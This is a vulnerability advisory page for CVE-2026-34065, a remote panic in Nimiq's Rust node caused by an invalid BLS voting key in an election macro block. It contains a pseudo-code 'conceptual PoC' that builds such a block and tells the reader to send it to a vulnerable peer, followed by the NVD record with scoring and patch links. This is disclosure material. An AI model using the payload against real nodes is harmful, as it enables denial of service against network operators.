CVE-2026-34065

# Conceptual PoC: Malicious Election Macro Block Construction # This is a pseudo-code representation as actual protocol implementation requires Nimiq libraries. import struct # BLS public keys are usually 48 or 96 bytes. Sending invalid bytes causes uncompress fail. invalid_bls_key = b'\x00' * 48 # Example of potentially invalid key depending on curve params # Construct a malicious message payload simulating an Election Macro Block # containing the invalid validator key. def craft_malicious_block(): header = { "version": 1, "validators": [ {"voting_key": invalid_bls_key}, # Invalid key triggers panic # ... other valid fields ... ] } # Serialize and send via P2P socket to target Nimiq node return serialize(header) print("[+] Crafting malicious block with invalid BLS key...") payload = craft_malicious_block() print("[+] Send this payload to a vulnerable Nimiq peer to trigger panic.")

{"cve": {"id": "CVE-2026-34065", "sourceIdentifier": "[email protected]", "published": "2026-04-22T20:16:41.077", "lastModified": "2026-04-24T17:12:37.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nimiq-primitives contains primitives (e.g., block, account, transaction) to be used in Nimiq's Rust implementation. Prior to version 1.3.0, an untrusted p2p peer can cause a node to panic by announcing an election macro block whose `validators` set contains an invalid compressed BLS voting key. Hashing an election macro header hashes `validators` and reaches `Validators::voting_keys()`, which calls `validator.voting_key.uncompress().unwrap()` and panics on invalid bytes. The patch for this vulnerability is included as part of v1.3.0. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-252"}, {"lang": "en", "value": "CWE-755"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nimiq:nimiq_proof-of-stake:*:*:*:*:*:rust:*:*", "versionEndExcluding": "1.3.0", "matchCriteriaId": "CD0CAAD1-7626-4A4A-A6F8-9DC46FE50731"}]}]}], "references": [{"url": "https://github.com/nimiq/core-rs-albatross/commit/e10eaebcd7774e5da6d0ff5e88ed13503474f0ff", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nimiq/core-rs-albatross/pull/3662", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-7c4j-2m43-2mgh", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}